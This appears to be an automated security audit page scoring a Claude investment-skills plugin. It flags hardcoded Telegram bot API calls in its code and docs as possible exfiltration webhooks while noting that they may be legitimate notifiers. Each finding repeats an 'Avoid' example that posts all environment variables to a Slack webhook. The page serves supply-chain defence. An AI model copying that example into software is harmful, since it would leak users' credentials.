Claude Investment Skills— plugin

Claude Investment Skills — independently scanned and version-tracked by SaferSkills.

Is Claude Investment Skills safe to install?

SaferSkills independently audited Claude Investment Skills (Plugin) and scored it 65/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 23 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
65/100
●●●●●●●○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 23 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 23 flagged

Securityscore 0 · 23 findings
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · _tg.py
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (url = f"https://api.telegram.org/bot{token}/send…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpt_tg.py· python
58any_ok = False
59for label, token, chat in rs:
60url = f"https://api.telegram.org/bot{token}/sendMessage"
61payload = {
62"chat_id": chat,
Occurrences
1 occurrence · at L60
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256f4cd35bc6927b791…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · AGENTS.md×9
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (- Visit https://api.telegram.org/bot<TOKEN>/getU…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptAGENTS.md· markdown
196B2. Get your chat_id:
197- Send any message to your new bot from your phone
198- Visit https://api.telegram.org/bot<TOKEN>/getUpdates (replace <TOKEN>)
199- Find "chat":{"id":<NUMBER>} — that number is your chat_id
200 
Occurrences
9 occurrences · first at L198, also L294, L296 +6 more
Show all 9 locations
Line
File
L198
AGENTS.md
L294
AGENTS.md
L296
AGENTS.md
L326
AGENTS.md
L327
AGENTS.md
L389
AGENTS.md
L448
AGENTS.md
L453
AGENTS.md
L469
AGENTS.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2564d2cbf34a067c34d…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · AGENTS-zh.md×9
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (- 访问 https://api.telegram.org/bot<TOKEN>/getUpda…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptAGENTS-zh.md· markdown
196B2. 拿你的 chat_id:
197- 用手机给你新的 bot 发任意消息
198- 访问 https://api.telegram.org/bot<TOKEN>/getUpdates(替换 <TOKEN>)
199- 找 "chat":{"id":<NUMBER>} —— 那个数字就是 chat_id
200 
Occurrences
9 occurrences · first at L198, also L295, L297 +6 more
Show all 9 locations
Line
File
L198
AGENTS-zh.md
L295
AGENTS-zh.md
L297
AGENTS-zh.md
L327
AGENTS-zh.md
L328
AGENTS-zh.md
L390
AGENTS-zh.md
L449
AGENTS-zh.md
L454
AGENTS-zh.md
L470
AGENTS-zh.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256bdfc26ec6f2774ca…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · README-zh.md×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (| Webhook 注册 + 健康? | `curl "https://api.telegram…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptREADME-zh.md· markdown
455| Cron 最近跑过吗? | `gh run list --workflow=price-alerts.yml --limit=5 --repo <你>/claude-investm
… (29 chars elided on L455)
456| 某次 run 为啥失败? | `gh run view <run-id> --log` | 那次 run 完整 stdout |
457| Webhook 注册 + 健康? | `curl "https://api.telegram.org/bot$TOKEN/getWebhookInfo"` | URL + 排队数
… (8 chars elided on L457)
458| Webhook **现在**在干啥? | `cd .../webhook && wrangler tail` | 实时请求 + console.log |
459| Bot 通吗? | `curl "https://api.telegram.org/bot$TOKEN/getMe"` | Bot 用户名 + capabilities |
Occurrences
2 occurrences · first at L457, also L459
Show all 2 locations
Line
File
L457
README-zh.md
L459
README-zh.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256aef61c8225d0788d…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · README.md×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (| Is the webhook registered + healthy? | `curl "…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptREADME.md· markdown
417| Did the cron run recently? | `gh run list --workflow=price-alerts.yml --limit=5 --repo <yo
… (58 chars elided on L417)
418| Why did one run fail? | `gh run view <run-id> --log` | Full stdout from that run |
419| Is the webhook registered + healthy? | `curl "https://api.telegram.org/bot$TOKEN/getWebhoo
… (44 chars elided on L419)
420| What's the webhook doing RIGHT NOW? | `cd .../webhook && wrangler tail` | Streaming reques
… (18 chars elided on L420)
421| Is my bot reachable? | `curl "https://api.telegram.org/bot$TOKEN/getMe"` | Bot username +
… (14 chars elided on L421)
Occurrences
2 occurrences · first at L419, also L421
Show all 2 locations
Line
File
L419
README.md
L421
README.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256aef61c8225d0788d…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.